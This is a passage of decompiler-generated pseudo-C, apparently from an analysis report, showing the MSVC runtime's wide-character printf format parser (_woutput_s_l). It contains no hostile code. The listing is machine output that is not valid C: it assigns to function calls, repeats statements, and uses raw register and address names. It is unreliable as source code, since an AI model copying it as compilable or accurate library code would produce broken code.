													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E00B971B0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00B971F0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E00B971B0(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E00B971F0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E00B7C680(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E00B7C680(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E00B90E50(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E00B97150( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E00B971B0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L00B7EB20( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00B77B58) & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0xb77b78) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0xb77b78) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M00B97044))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E00B97150( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0xb9707c; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00B97064))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0xb970a4; // 0x68b19003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00B97090))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0xb97110; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M00B970D4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00B93D50(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0xd121a0; // 0xb775a0
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L00B7DEA0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E00B7C680(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0xd12188; // 0xddc09d6c
																					E00B849C0(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E00B7C680(__ebp - 0x40));
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0xd12194; // 0xddc09d6c
																							E00B849C0(__edx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E00B7C680(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0xd12190; // 0xddc09d6c
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00B93D50(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E00B7C680(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E00B7C680(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E00B90E50(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00B93D50(__ebp + 0x14);
																			__eax = E00B97280();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L00B7D760();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L00B80C60(__ecx))) = 0x16;
																				__eax = E00B809F0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E00B7C650(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
